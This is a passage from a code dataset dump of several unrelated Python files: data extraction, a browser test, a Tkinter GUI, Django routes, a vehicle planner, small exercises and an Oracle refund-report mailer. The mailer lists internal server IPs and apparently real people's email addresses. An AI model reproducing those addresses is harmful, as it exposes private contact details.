print(item['body-image'])\n # a=''.join(item['body-image'])\n\n if 'body-text' in item.keys():\n\n b=''\n if 'Our ruling' in item['body-text']:\n b=''.join(item['body-text'][0:item['body-text'].index('Our ruling')])\n\n\n elif 'Our rating' in item['body-text']:\n b= ''.join(item['body-text'][0:item['body-text'].index('Our rating')])\n\n else:\n b=''.join(item['body-text'][0:-2])\n\n\n\n\n if 'claim' in item.keys():\n # print(item['claim'])\n c= ''.join(item['claim'])\n\n # if 'headerImage' in item.keys():\n # print(item['headerImage'])\n # d = ''.join(item['headerImage'][0])\n\n if 'headerTitle' in item.keys():\n # print(item['headerTitle'])\n e = item['headerTitle']\n\n if 'publish_date' in item.keys():\n # print(item['publish_date'])\n f = ''.join(item['publish_date'])\n\n if 'rating' in item.keys():\n g=''\n l=len(item['rating'])\n if l==2:\n g=re.findall('rating-(.*?)\\.png',item['rating'][0])[0]\n else:\n g=''\n\n\n\n\n result=result.append({ 'body-text':b, 'claim':c, 'headerTitle':e, 'publish_date':f, 'rating':g},ignore_index=True)\n\nresult.to_excel('aaa.xlsx',encoding='utf_8_sig',index=False)\n","sub_path":"job-json，xml，csv/json提取，pandas应用/2/提取json数据.py","file_name":"提取json数据.py","file_ext":"py","file_size_in_byte":1969,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"539926064","text":"# if you are putting your test script folders under {git project folder}/tests/, it will work fine.\n# otherwise, you either add it to system path before you run or hard coded it in here.\nsys.path.append(sys.argv[2])\nimport os\nimport common\nimport gsheet\nimport shutil\nimport browser\nimport time\n\n# Disable Sikuli action and info log\ncom = common.General()\ncom.infolog_enable(0)\n\nff = browser.Firefox()\ngs = gsheet.gSheet()\nff.clickBar()\nff.enterLink(sys.argv[3])\ngs.wait_for_loaded()\n\nsetAutoWaitTimeout(10)\nsample2_fp = os.path.join(sys.argv[4], sys.argv[5].replace('sample_1', 'sample_2'))\n\nsleep(5)\nclick(gs.gsheet_1st_cell)\nsleep(2)\ncapture_width = int(sys.argv[6])\ncapture_height = int(sys.argv[7])\n\nt1 = time.time()\ncapimg2 = capture(0, 0, capture_width, capture_height)\n\nprint('[log] TYPE \"#PDOWN.\"')\ntype(Key.PAGE_DOWN)\nsleep(1)\n\nt2 = time.time()\ncom.updateJson({'t1': t1, 't2': t2}, sys.argv[8])\nshutil.move(capimg2, sample2_fp.replace(os.path.splitext(sample2_fp)[1], '.png'))\n","sub_path":"tests/regression/gsheet/test_firefox_gsheet_ail_pagedown_400_text.sikuli/test_firefox_gsheet_ail_pagedown_400_text.py","file_name":"test_firefox_gsheet_ail_pagedown_400_text.py","file_ext":"py","file_size_in_byte":988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"578448009","text":"import numpy as np\nimport pandas as pd\nfrom Data import Data, Collection, Value\n\n__all__ = ['date_selection', 'date_groupby', 'get_values', 'get_attrs']\n\n\ndef from_pandas(df, index_columns=None, unstack=False, attrs=None, dim_attrs=None):\n \"\"\" Convert Pandas Object to Data Class\n\n Args:\n df:\n index_columns:\n unstack:\n attrs:\n dim_attrs:\n\n Returns:\n\n \"\"\"\n raise NotImplementedError()\n\n if not isinstance(df, (pd.Series, pd.DataFrame)):\n raise ValueError(\"Requires a Series or DataFrame\")\n\n if isinstance(df, pd.Series):\n return df\n\n data = {}\n for icol in df.columns.tolist():\n data[icol] = Data(df[icol].values, ['date'], {'date': df.index.values})\n # multi-index ? -> unstack -> 2D\n return data\n\n\ndef date_selection(dates, selection, index=True):\n \"\"\" Create an Index for a date selection\n\n Args:\n dates (np.ndarray) : numpy datetime64 array\n selection (slice, list, str) : pandas datetime selection\n index (bool) : return index or values ?\n\n Returns:\n np.ndarray : Either with index or values\n \"\"\"\n if not isinstance(dates, np.ndarray):\n raise ValueError(\"Requires an ndarray\")\n\n dates = dates.copy()\n series = pd.Series(0, index=dates) # Pandas Trick\n if index:\n return np.where(np.in1d(dates, series[selection].index.values))[0]\n else:\n try:\n return series[selection].index.values\n except KeyError:\n return np.array([])\n\n\ndef date_groupby(dates, freq='M'):\n if not isinstance(dates, np.ndarray):\n raise ValueError(\"Requires an ndarray\")\n\n dates = dates.copy()\n dates = pd.DatetimeIndex(dates) # Pandas Trick\n grouped = dates.to_period(freq=freq)\n groups = grouped.unique()\n index = []\n for iel in groups:\n index.append(np.where(grouped == iel)[0])\n return index # TODO make it array specific\n\n\ndef groupby_apply(data, *args, **kwargs):\n func = kwargs.pop('func', 'nanmean')\n if not hasattr(np, func):\n raise ValueError(\"Function no in Numpy\")\n func = getattr(np, func)\n data = data.copy()\n date_dim = data.get_date_dimension()\n dates = pd.DatetimeIndex(data.dims[date_dim].values) # Pandas Trick\n freq = kwargs.pop('freq', 'M')\n grouped = dates.to_period(freq=freq)\n groups = grouped.unique()\n index = [slice(None, None)] * len(data.dims.list)\n idate = data.dims.list.index(date_dim)\n out = []\n axis = kwargs.pop('axis', idate)\n for iel in groups:\n index[idate] = np.where(grouped == iel)[0]\n out.append(func(data.values[index], *args, axis=axis, **kwargs))\n return groups.to_timestamp(freq=freq, how='start'), np.array(out)\n\n\ndef data_to_freq(data, hours=[0, 12], freq='12h'):\n data = data.copy()\n idate = data.get_date_dimension()\n date_dim = data.dims.list.index(idate)\n dates = pd.DatetimeIndex(data.dims[idate].values)\n adates = dates[dates.hour.isin(hours)]\n cdates, _ = adates.reindex(pd.date_range(adates.min(), adates.max(), freq=freq))\n inew = [0] * len(data.dims.list)\n iold = [0] * len(data.dims.list)\n inew[date_dim] = np.where(np.in1d(cdates, adates))[0] # Matching pos\n iold[date_dim] = np.where(np.in1d(dates, adates))[0] # Matching pos\n for idim, ival in data.dims.items():\n if idim == idate:\n continue\n inew[data.dims.list.index(idim)] = np.arange(0, ival.values.size)\n iold[data.dims.list.index(idim)] = np.arange(0, ival.values.size)\n\n shapes = list(data.values.shape)\n shapes[date_dim] = cdates.size\n new = np.full(shapes, np.nan, dtype=data.values.dtype) # new shape\n inew = np.ix_(*inew)\n iold = np.ix_(*iold)\n new[inew] = data.values[iold] # subset of departures !!!\n data.update_values_dims(new, {idate: cdates})\n return data\n\n\ndef get_values(src):\n \"\"\" Get values of Group\n\n Args:\n src (Collection) : a Group of Values\n\n Returns:\n dict : Dictionary of Value\n \"\"\"\n if not isinstance(src, Collection):\n raise ValueError(\"requires a Collection class\")\n out = {}\n for i, j in src.items():\n if not isinstance(j, Value):\n raise ValueError(\"requires a Value class\")\n out[i] = j.values[:] # a copy\n return out\n\n\ndef get_attrs(src):\n \"\"\" Get Attributes of Group\n\n Args:\n src (Collection) : a Group of Value\n\n Returns:\n dict : Dictionary of Attributes of Value\n \"\"\"\n if not isinstance(src, Collection):\n raise ValueError(\"requires a Collection class\")\n out = {}\n for i, j in src.items():\n if not isinstance(j, Value):\n raise ValueError(\"requires a Value class\")\n out[i] = j.get_attrs() # makes a copy\n return out\n\n\ndef stack_data(coll, keys):\n # for all elements in coll\n # combine to ne large array with matched dimensions and a new dimensions with keys\n pass\n","sub_path":"raso/Data/DataFunctions.py","file_name":"DataFunctions.py","file_ext":"py","file_size_in_byte":4934,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"38960467","text":"# damper_gui.py\n#!/usr/bin/python\nimport Tkinter\nfrom usb_haptic import USBCommunications\n\n\nclass simpleapp_tk(Tkinter.Tk):\n\n def __init__(self, parent):\n Tkinter.Tk.__init__(self, parent)\n self.parent = parent\n self.initialize()\n self.usbc = None\n\n def initialize(self):\n self.grid()\n self.connect_status = Tkinter.StringVar(value=\"No device connected\")\n button_connect = Tkinter.Button(self, text=u\"Connect to Device\",\n command=self.try_connect)\n button_connect.grid(column=0, row=0, columnspan=2)\n \n self.connection_label = Tkinter.Label(textvariable=self.connect_status, justify='center')\n self.connection_label.grid(column=2, row=0, columnspan=2)\n # self.spring_constant_scale = Tkinter.Scale(\n # self, from_=0, to=0.5, resolution=.01)\n # self.spring_constant_scale.grid(column=0, row=2)\n\n self.Damper_Coef_Scale = Tkinter.Scale(\n self, from_=0, to=4, resolution=.01)\n self.Damper_Coef_Scale.grid(column=1, row=2)\n\n # self.Ki_constant_scale = Tkinter.Scale(\n # self, from_=0, to=0.5, resolution=.01)\n # self.Ki_constant_scale.grid(column=2, row=2)\n\n # self.Kd_constant_scale = Tkinter.Scale(\n # self, from_=0, to=0.5, resolution=.01)\n # self.Kd_constant_scale.grid(column=3, row=2)\n\n button_k = Tkinter.Button(self, text=u\"Set Damper Coefficient\",\n command=self.set_damp_coef)\n button_k.grid(column=0, row=4, columnspan=3)\n\n # button_kp = Tkinter.Button(self, text=u\"Set Kp\",\n # command=self.set_pid_p)\n # button_kp.grid(column=1, row=4)\n\n # button_ki = Tkinter.Button(self, text=u\"Set Ki\",\n # command=self.set_pid_i)\n # button_ki.grid(column=2, row=4)\n\n # button_kd = Tkinter.Button(self, text=u\"Set Kd\",\n # command=self.set_pid_d)\n # button_kd.grid(column=3, row=4)\n\n # self.grid_columnconfigure(0,weight=1)\n self.resizable(True, False)\n self.update()\n self.geometry(self.geometry())\n # self.entry.focus_set()\n # self.entry.selection_range(0, Tkinter.END)\n\n def try_connect(self):\n if not self.usbc:\n try:\n self.usbc = USBCommunications()\n self.connect_status.set(\"Connected!\")\n except ValueError:\n print(\"No connection found...\")\n self.usbc = None\n\n def set_damp_coef(self):\n new_constant = self.Damper_Coef_Scale.get()\n self.usbc.set_damper_coef(new_constant)\n\n # def set_pid_p(self):\n # new_constant = self.Kp_constant_scale.get()\n # self.usbc.set_spring_constant(new_constant)\n\n # def set_pid_i(self):\n # new_constant = self.Ki_constant_scale.get()\n # self.usbc.set_spring_constant(new_constant)\n\n # def set_pid_d(self):\n # new_constant = self.Kd_constant_scale.get()\n # self.usbc.set_spring_constant(new_constant)\n\nif __name__ == \"__main__\":\n app = simpleapp_tk(None)\n app.title('Haptic Damper Control')\n app.mainloop()\n","sub_path":"haptic/damper_gui.py","file_name":"damper_gui.py","file_ext":"py","file_size_in_byte":3237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"27758281","text":"\"\"\"propsell URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/3.1/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.contrib import admin\nfrom django.urls import path\nfrom .views import Loginuser,userid,APropertyHome,APropdel,LoginAdminuser,APropertyViewEdit,registeruser,UserProf,PropertyViewCity,userdel,PropertyView,PropertyViewEdit,PropertyHome,userview,useredit\n\nurlpatterns = [\n path('login',Loginuser.as_view()),\n path('register',registeruser.as_view()),\n path('prof/',UserProf.as_view()),\n path('post/',PropertyView.as_view()),\n path('postedi//',PropertyViewEdit.as_view()),\n path('apostedi//',APropertyViewEdit.as_view()),\n path('home',PropertyHome.as_view()),\n path('ahome',APropertyHome.as_view()),\n path('propdel/',APropdel.as_view()),\n path('users',userview.as_view()),\n path('useredit',useredit.as_view()),\n path('loginadmin',LoginAdminuser.as_view()),\n path('userdel/',userdel.as_view()),\n path('postcity/',PropertyViewCity.as_view()),\n path('u/',userid.as_view())\n\n]\n","sub_path":"ads/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"241033705","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport sys\nimport numpy as np\nfrom lib.morai_udp_parser import erp_udp_parser,erp_udp_sender\nfrom nav_msgs.msg import Path,Odometry\nfrom std_msgs.msg import Float64,Int16,Float32MultiArray\nfrom geometry_msgs.msg import PoseStamped,Point\nfrom lib.utils import pathReader,findLocalPath,purePursuit,Point,cruiseControl,vaildObject,pidController,velocityPlanning,latticePlanner\nimport tf\nfrom math import cos,sin,sqrt,pow,atan2,pi\nimport time\nimport threading\nimport os,json\n\n\npath = os.path.dirname( os.path.abspath( __file__ ) )\n\nwith open(os.path.join(path,(\"params.json\")),'r') as fp :\n params = json.load(fp)\n\nparams=params[\"params\"]\nuser_ip = params[\"user_ip\"]\nhost_ip = params[\"host_ip\"]\n\n\nstatus_port =params[\"vehicle_status_dst_port\"]\nobject_port =params[\"object_info_dst_port\"]\nget_traffic_port=params[\"get_traffic_dst_port\"]\n\nset_traffic_port=params[\"set_traffic_host_port\"]\nctrl_cmd_port = params[\"ctrl_cmd_host_port\"]\n\ntraffic_greenlight_setting = params[\"traffic_greenlight_setting\"]\n\nplanner_path_file_name = params[\"planner_path_file_name\"]\n\n\n\nclass erp_planner():\n def __init__(self):\n\n #subscriber\n self.status=erp_udp_parser(user_ip, status_port,'status')\n self.obj=erp_udp_parser(user_ip, object_port,'obj')\n self.traffic=erp_udp_parser(user_ip, get_traffic_port,'get_traffic')\n\n self.ctrl_cmd=erp_udp_sender(host_ip,ctrl_cmd_port, 'ctrl_cmd')\n self.set_traffic=erp_udp_sender(host_ip,set_traffic_port,'set_traffic')\n \n #read path\n self.txt_reader=pathReader()\n self.global_path=self.txt_reader.read(planner_path_file_name) #path_file_name\n\n #def\n self.is_status=False\n self.is_obj=False\n self.is_traffic=False\n self.traffic_info = [[58.50, 1180.41 ,'C119BS010001'],\n [85.61, 1227.88 ,'C119BS010021'],\n [136.58,1351.98 ,'C119BS010026'],\n [141.02,1458.27 ,'C119BS010028'],\n [139.39,1596.44 ,'C119BS010033'],\n [48.71, 1208.02 ,'C119BS010005'],\n [95.58, 1181.56 ,'C119BS010047'],\n [104.46,1161.46 ,'C119BS010046'],\n [85.29, 1191.77 ,'C119BS010007'],\n [106.32,1237.04 ,'C119BS010022'],\n [75.34, 1250.43 ,'C119BS010024'],\n [73.62, 1218.01 ,'C119BS010012'],\n [116.37,1190.65 ,'C119BS010040'],\n [153.98,1371.48 ,'C119BS010073'],\n [129.84,1385.08 ,'C119BS010039'],\n [116.28,1367.77 ,'C119BS010074'],\n [75.08, 1473.34 ,'C119BS010075'],\n [67.10, 1506.66 ,'C119BS010076'],\n [114.81,1485.81 ,'C119BS010079'],\n [159.11,1496.63 ,'C119BS010060'],\n [122.24,1608.26 ,'C119BS010072'],\n [132.70,1624.78 ,'C119BS010034']]\n\n #class\n self.pure_pursuit=purePursuit()\n self.cc=cruiseControl(0.5,1)\n self.vo=vaildObject(self.traffic_info)\n self.pid=pidController() ## pidController import\n\n vel_planner=velocityPlanning(200/3.6,1.5)\n self.vel_profile=vel_planner.curveBasedVelocity(self.global_path,100)\n\n\n while not self.is_status :\n if not self.status.get_data() :\n print('No Status Data Cannot run main_loop')\n time.sleep(1)\n else :\n self.is_status=True\n\n self.main_loop()\n\n def main_loop(self):\n lattice_current_lane=3\n self.timer=threading.Timer(0.1,self.main_loop)\n self.timer.start()\n \n status_data=self.status.get_data()\n \n obj_data=self.obj.get_data()\n \n traffic_data = self.traffic.get_data()\n position_x=status_data[0]\n position_y=status_data[1]\n position_z=status_data[2]\n heading=status_data[5]+90 # degree\n velocity=status_data[6]\n \n #set trafficlight (green)\n if not len(traffic_data) == 0 and traffic_greenlight_setting == \"True\":\n self.set_traffic.send_data([False,traffic_data[1],16])\n traffic_data[3]=16\n\n local_path,current_waypoint=findLocalPath(self.global_path,position_x,position_y) ##\n \n self.vo.get_object(obj_data)\n global_obj,local_obj=self.vo.calc_vaild_obj([position_x,position_y,heading])\n\n ######################## lattice ########################\n vehicle_status=[position_x,position_y,heading,velocity]\n lattice_path,selected_lane=latticePlanner(local_path,global_obj,vehicle_status,lattice_current_lane)\n lattice_current_lane=selected_lane\n \n \n if selected_lane != -1: #and selected_lane != 5 :\n local_path=lattice_path[selected_lane]\n ######################## lattice ########################\n \n if not len(traffic_data) == 0:\n self.cc.checkObject(local_path,global_obj,local_obj,[traffic_data[1],traffic_data[3]])\n else:\n self.cc.checkObject(local_path,global_obj,local_obj) \n\n self.pure_pursuit.getPath(local_path)\n self.pure_pursuit.getEgoStatus(position_x,position_y,position_z,velocity,heading)\n\n steering_angle=self.pure_pursuit.steering_angle()\n\n cc_vel = self.cc.acc(local_obj,velocity,self.vel_profile[current_waypoint]) ##### utils.py \n target_velocity = cc_vel\n\n control_input=self.pid.pid(target_velocity, velocity) ## 속도 제어를 위한 PID 적용 (target Velocity, Status Velocity)\n if control_input > 0 :\n accel= control_input\n brake= 0\n else :\n accel= 0\n brake= -control_input\n\n if velocity < 3.0 and target_velocity<=0.0:\n accel=0\n brake=1\n \n self.ctrl_cmd.send_data([accel,brake,steering_angle])\n\n \n\n self.print_info(status_data,obj_data,traffic_data,position_x,position_y,position_z,heading,velocity,steering_angle,current_waypoint)\n\n\n def print_info(self,status_data,obj_data,traffic_data,position_x,position_y,position_z,heading,velocity,steering_angle,current_waypoint):\n\n os.system('clear')\n print('--------------------status-------------------------')\n print('position :{0} ,{1}, {2}'.format(position_x,position_y,position_z))\n print('velocity :{} km/h'.format(velocity,heading))\n print('heading :{} deg'.format(heading-90))\n\n print('--------------------object-------------------------')\n print('object num :{}'.format(len(obj_data)))\n for i,obj_info in enumerate(obj_data) :\n print('{0} : type = {1}, x = {2}, y = {3}, z = {4} '.format(i,obj_info[0],obj_info[1],obj_info[2],obj_info[3]))\n\n print('--------------------controller-------------------------')\n print('target steering_angle :{} deg'.format(steering_angle))\n\n print('--------------------localization-------------------------')\n print('all waypoint size: {} '.format(len(self.global_path.poses)))\n print('current waypoint : {} '.format(current_waypoint))\n\n print('--------------------trafficLight-------------------------')\n if len(traffic_data) ==4:\n print('traffic mode : {}'.format(traffic_data[0]))\n print('traffic index : {}'.format(traffic_data[1]))\n print('traffic type : {}'.format(traffic_data[2]))\n print('traffic status : {}'.format(traffic_data[3]))\n \nif __name__ == '__main__':\n kcity_pathtracking=erp_planner()\n while True:\n pass\n","sub_path":"ERP_Example/erp_udp/scripts/erp42_planner.py","file_name":"erp42_planner.py","file_ext":"py","file_size_in_byte":7862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"147327832","text":"def diamond(n):\n if n <= 0 or n % 2 == 0:\n return None\n \n string = \"\"\n half = int(n/2)\n \n for i in range(1, half * 2, 2):\n whitespaces = n - i\n sides = \" \" * (int(whitespaces / 2))\n center = \"*\" * i\n string += sides + center\n if i != (half * 2) - 1:\n string += \"\\n\"\n string += \"\\n\" + \"*\" * n + \"\\n\"\n for i in range(half * 2 - 1, 0, -2):\n whitespaces = n - i\n sides = \" \" * (int(whitespaces / 2))\n center = \"*\" * i\n string += sides + center\n if i != 1:\n string += \"\\n\"\n \n return string + \"\\n\"\n \nprint(diamond(7))","sub_path":"6th-kyu/diamond.py","file_name":"diamond.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"529635987","text":"import sys, os\nsys.path.insert(0, os.path.abspath('..'))\nfrom common.linkedlist import ListNode\n\n\ndef deleteDuplicates(head: ListNode) -> ListNode:\n cur = head\n while cur and cur.next:\n if cur.next.val == cur.val:\n cur.next = cur.next.next\n else:\n cur = cur.next\n return head\n","sub_path":"083_rm_dup_from_sorted_linked_list/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"514417118","text":"#!/usr/bin/python\n#coding:utf-8\nimport os, cx_Oracle, paramiko\nfrom datetime import datetime,timedelta \nfrom getpwd import getpasswd\nfrom pmail import mail\n\nos.environ['NLS_LANG']='.ZHS16GBK'\nos.environ['ORACLE_HOME'] = '/bea/instantclient_11_2'\nos.environ['LD_LIBRARY_PATH'] = '/bea/instantclient_11_2/lib'\nenvs = {'1.0':['10.123.98.47','245'],'2.0':['10.123.100.238','womeng']}\n\ntittle = u'订单号, 订单来源, 所属商城, 销售商品名称, 销售金额, 实付金额, 优惠金额, , 物流方式, 支付状态, 外部商城订单状态, 订单环节, 父支付方式, 支付方式, 交易流水号, 支付时间, 退款时间, 退款金额, 上次处理结束时间, 退款失败描述\\n'\nsqlHead='''\nSELECT O.ORDER_ID ,\n OO.ORDER_SOURCE ,\n S4.DICT_VALUE ,\n G.GOODS_NAME ,\n G.ORIG_FEE ,\n G.REAL_FEE ,\n G.FAVOURABLE_FEE ,\n OD.DELIVERY_WAY ,\n S3.DICT_VALUE ,\n S.DICT_VALUE ,\n S1.DICT_VALUE ,\n S2.DICT_VALUE ,\n O.PAY_MODE_PCODE ,\n PM.PAY_MODE_DESC ,\n O.TRADE_ID ,\n O.PAY_TIME ,\n O.REFUND_TIME ,\n O.REFUND_AMOUNT ,\n E.FIN_DATE ,\n E.REMARK \n FROM ORD_PAY O\n left join ORD_ORDERS OO\n on O.ORDER_ID = OO.ORDER_ID\n left join ORD_GOODS G\n on O.ORDER_ID = G.ORDER_ID\n left join ORD_DELIVERY OD\n on OD.ORDER_ID = OO.ORDER_ID\n left join PAY_MODE PM\n on O.PAY_MODE_CODE = PM.PAY_MODE_CODE\n left join SYS_DICT S\n on S.DICT_CODE = 'ORDER_PAY_STATUS'\n AND O.PAY_STATUS = S.DICT_KEY\n left join SYS_DICT S1\n on S1.DICT_CODE = 'MALL_ORDER_STATUS'\n AND OO.OUT_ORDER_STATUS = S1.DICT_KEY\n left join SYS_DICT S2\n on S2.DICT_CODE = 'ORDER_STATUS'\n AND OO.ORDER_STATUS = S2.DICT_KEY\n left join SYS_DICT S3\n on S3.DICT_CODE = 'DELIVERY_MODE'\n AND OD.DELIVERY_WAY = S3.DICT_KEY\n left join SYS_DICT S4\n on S4.DICT_CODE = 'ORDER_SOURCE'\n AND OO.ORDER_SOURCE = S4.DICT_KEY\n left join EXT_TASK_INSTANCE E\n on E.PARAMS = OO.Order_Id\n'''\n\nnowDay = datetime.now()\n\nsqlDay = '''WHERE to_char(OO.create_time,'yyyymmdd') ='%s'\n''' % (nowDay - timedelta(days = 1)).strftime('%Y%m%d')\n\nsqlWeek = '''WHERE to_char(OO.create_time,'yyyymmdd') between %s and %s\n''' % ((nowDay - timedelta(days = 8)).strftime('%Y%m%d'), (nowDay - timedelta(days = 1)).strftime('%Y%m%d'))\n\nsqlMonth = '''WHERE to_char(OO.create_time,'yyyymm') ='%s'\n''' % ((nowDay - timedelta(days = 1)).strftime('%Y%m'))\n\nif nowDay.day == 1:\n sqlAll = sqlHead + sqlMonth\n mailTitle = '每月退款订单统计核查(%s)'% ((nowDay - timedelta(days = 1)).strftime('%Y%m'))\nelif nowDay.weekday() == 0:\n sqlAll = sqlHead + sqlWeek\n mailTitle = '每周退款订单统计核查(%s-%s)'% ((nowDay - timedelta(days = 8)).strftime('%Y%m%d'), (nowDay - timedelta(days = 1)).strftime('%Y%m%d'))\nelse:\n sqlAll = sqlHead + sqlDay\n mailTitle = '每日退款订单统计核查(%s)' % (nowDay - timedelta(days = 1)).strftime('%Y%m%d')\n\nfor env in envs:\n gp = getpasswd()\n user, passwd = gp.getPasswd(envs[env][0]) \n db = cx_Oracle.connect(user, passwd, envs[env][1])\n cursor = db.cursor()\n cursor.execute(sqlAll)\n data = cursor.fetchall()\n allCounts = sum([ 1 for x in data ])\n cursor.close()\n db.close()\n\n if env == '1.0':\n csvFile = '/tmp/refund_orders1.csv'\n else:\n csvFile = '/tmp/refund_orders2.csv'\n\n open(csvFile,'w').write(tittle.encode('gbk'))\n for i in data:\n i = list(i)\n for j in range(i.__len__()):\n if i[j] == None:\n i[j] = ''\n else:\n i[j] = '\"'+str(i[j]).replace('\\n','').replace('\"','')+'\"'\n open(csvFile,'a+').write(','.join(i)+'\\n')\nmailContent = '''\n 各位好，附件是退款订单统计表，请查收。\n'''\n\nimport zipfile\nzipFile = '/tmp/refund_orders.zip'\nz = zipfile.ZipFile(zipFile, 'w') \nz.write('/tmp/refund_orders1.csv','refund_orders1.csv')\nz.write('/tmp/refund_orders2.csv','refund_orders2.csv')\nz.close()\n\np = mail()\nmailto = '王富;邹丽芬<337671339@qq.com>;sunshen@easier.cn;张炳权;chengh83@chinaunicom.cn;wush30@chinaunicom.cn;zhaolj726@chinaunicom.cn'\n# mailto = '吴雨露'\np.sendmail(mailTitle, mailto, mailContent, zipFile)\n\n","sub_path":"misc/refund_orders.py","file_name":"refund_orders.py","file_ext":"py","file_size_in_byte":4338,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"357325725","text":"import numpy as np\r\n\r\nnum_list = []\r\nfor x in range(0, 1):\r\n r = open('data/temp/data.csv')\r\n r.readline()\r\n for linex in r.readlines():\r\n countx = linex.count(',')\r\n splitx = linex.split(',', countx)\r\n for y in range(1, countx):\r\n divsplitx = splitx[y]\r\n if divsplitx == '':\r\n divsplitx = ' 0 | 0 | 0 | 0 | 0'\r\n divcountx = divsplitx.count('|')\r\n subsplitx = divsplitx.split('|', divcountx)\r\n subsplitcountx = subsplitx.count(',')\r\n num_list.append(float(subsplitx[0]))\r\nmax_val = max(num_list)\r\n\r\nw3 = open('data/temp/heatmap.html', 'w')\r\nw3.write('\\n\\t\\n')\r\nfor a in range(0, 1):\r\n r = open('data/temp/data.csv')\r\n firstline = True\r\n for line2 in r.readlines():\r\n w3.write('\\t\\t\\n')\r\n count2 = line2.count(',')\r\n split2 = line2.split(',', count2)\r\n if firstline:\r\n firstline = False\r\n w3.write('\\t\\t\\t\\n')\r\n for b in range(1, count2):\r\n lineone = split2[b]\r\n w3.write('\\t\\t\\t\\n')\r\n columnheading = (split2[0])\r\n w3.write('\\t\\t\\t\\n')\r\n for c in range(0, count2):\r\n divsplit = split2[c]\r\n # print(divsplit)\r\n if divsplit == '':\r\n divsplit = ' 1 | 1 | 1 | 1 | 1'\r\n divcount = divsplit.count('|')\r\n subsplit = divsplit.split('|', divcount)\r\n subsplitcount = subsplit.count(',')\r\n final1 = subsplit[0]\r\n G = ''\r\n if subsplit.__len__() == 5:\r\n logmath = np.sqrt(float(final1))\r\n logmax = np.sqrt(max_val)\r\n logdiv = logmath / logmax\r\n logmult = logdiv * 255\r\n G = logmult\r\n else:\r\n G = 0\r\n R = 0\r\n B = 0\r\n R_round = R.__round__()\r\n G_round = G.__round__()\r\n B_round = B.__round__()\r\n if final1.__eq__(' 1 '):\r\n R_round = 0\r\n G_round = 0\r\n B_round = 0\r\n RGB = '(' + str(R_round) + ',' + str(G_round) + ',' + str(B_round) + ')'\r\n if final1 == ' 1 ':\r\n final1 = ' null '\r\n if subsplit.__len__() == 5:\r\n w3.write('\\t\\t\\t' + '\\n')\r\n w3.write('\\t\\t\\n')\r\nw3.write('
' + '' + lineone + '' + columnheading + '' + final1 + '
\\n')\r\nw3.close()\r\n","sub_path":"pyscripts/log_heatmap.py","file_name":"log_heatmap.py","file_ext":"py","file_size_in_byte":2724,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"607864958","text":"\"\"\"Version details for simple-salesforce\n\nThis file shamelessly taken from the requests library\"\"\"\n\n__title__ = 'simple-salesforce-async'\n__description__ = 'An ASYNC Salesforce.com REST API client using aiohttp.'\n__url__ = 'https://github.com/Norwest-Venture-Partners/simple-salesforce-async'\n__version__ = '1.10.1'\n__author__ = 'Philippe Labat'\n__author_email__ = 'philippe@labat.ca'\n__license__ = 'Apache 2.0'\n__maintainer__ = 'Philippe Labat'\n__maintainer_email__ = 'philippe@labat.ca'\n__keywords__ = 'python salesforce salesforce.com async'\n","sub_path":"simple_salesforce_async/__version__.py","file_name":"__version__.py","file_ext":"py","file_size_in_byte":545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"366102130","text":"# -*- coding=utf-8 -*-\n\nfrom PIL import Image\nimport argparse\n\n# 构建命令行输入参数处理ArgumentParser实例\nparser = argparse.ArgumentParser()\n\n# 定义输入文件、输出文件、输出字符画的宽和高\nparser.add_argument('file')\nparser.add_argument('-o','--output')\nparser.add_argument('--width',type = int, default = 80)\nparser.add_argument('--height',type = int, default = 80)\n\n# 解析并获取参数\nargs = parser.parse_args()\n\n# 输入的图片文件路径\nIMG = args.file\n\n# 输出字符画的宽度\nWIDTH = args.width\n\n# 输出字符画的高度\nHEIGHT = args.height\n\n# 输出字符画的路径\nOUTPUT = args.output\n\n# 定义字符画所使用的的字符集\nascii_char = list(\"$@B%8&WM#*oahkbdpqwmZO0QLCJUYXzcvunxrjft/\\|()1{}[]?-_+~<>i!lI;:,\\\"^`'. \")\n\n# RGB值转字符函数\ndef get_char(r,g,b,alpha=256):\n\n\t# 判断alpha值\n\tif alpha == 0:\n\t\treturn ' '\n\n\t# 获取字符集的长度，这里为70\n\tlength = len(ascii_char)\n\n\t# 将RGB值转为灰度值gray，灰度值范围为0-255\n\tgray = int(0.2126 * r + 0.7152 * g + 0.0722 * b)\n\n\t# 灰度值范围为 0-255，而字符集只有 70\n # 需要进行如下处理才能将灰度值映射到指定的字符上\n\n\tunit = (256.0 + 1)/length\n\n # 返回灰度值对应的字符\n\treturn ascii_char[int(gray/unit)]\n\n# 图片处理\nif __name__ == '__main__':\n\t\n\t# 打开并调整图片的宽和高\n\tim = Image.open(IMG)\n\tim = im.resize((WIDTH,HEIGHT),Image.NEAREST)\n\n\t# 初始化输出的字符串\n\ttxt = \" \"\n\n\t# 遍历图片中的每一行\n\tfor i in 